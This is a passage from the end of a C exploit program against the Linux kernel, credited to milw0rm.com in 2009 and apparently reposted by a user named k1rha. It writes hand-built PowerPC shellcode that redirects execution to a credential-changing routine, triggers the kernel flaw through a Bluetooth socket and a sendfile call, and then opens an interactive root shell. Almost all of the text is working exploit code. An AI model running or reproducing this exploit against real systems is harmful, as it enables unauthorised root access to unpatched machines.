    *(unsigned long *)&addr[8] = (unsigned long)change_cred;  


   


#endif  


   


#elif defined(__powerpc__) || defined(__powerpc64__)  


#if defined(__LP64__)  


    /*  


     * The use of function descriptors by the Power 64-bit ELF ABI requires  


     * the use of a fake function descriptor.  


     */ 


    *(unsigned long *)&addr[0] = *(unsigned long *)change_cred;  


   


#else  


    addr[0] = '\x3f';  


    addr[1] = '\xe0';  


    *(unsigned short *)&addr[2] = (unsigned short)change_cred>>16;  


    addr[4] = '\x63';  


    addr[5] = '\xff';  


    *(unsigned short *)&addr[6] = (unsigned short)change_cred;  


    addr[8] = '\x7f';  


    addr[9] = '\xe9';  


    addr[10] = '\x03';  


    addr[11] = '\xa6';  


    addr[12] = '\x4e';  


    addr[13] = '\x80';  


    addr[14] = '\x04';  


    addr[15] = '\x20';  


   


#endif  


   


#endif  


   


    if ((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1) {  


        perror("socket");  


        exit(EXIT_FAILURE);  


    }  


   


    if ((in_fd = mkstemp(template)) == -1) {  


        perror("mkstemp");  


        exit(EXIT_FAILURE);  


    }  


   


    if(unlink(template) == -1) {  


        perror("unlink");  


        exit(EXIT_FAILURE);  


    }  


   


    if (ftruncate(in_fd, PAGE_SIZE) == -1) {  


        perror("ftruncate");  


        exit(EXIT_FAILURE);  


    }  


   


    sendfile(out_fd, in_fd, NULL, PAGE_SIZE);  


   


    execl("/bin/sh", "sh", "-i", NULL);  


   


    exit(EXIT_SUCCESS);  


}  


   


// milw0rm.com [2009-08-31] 


Posted by k1rha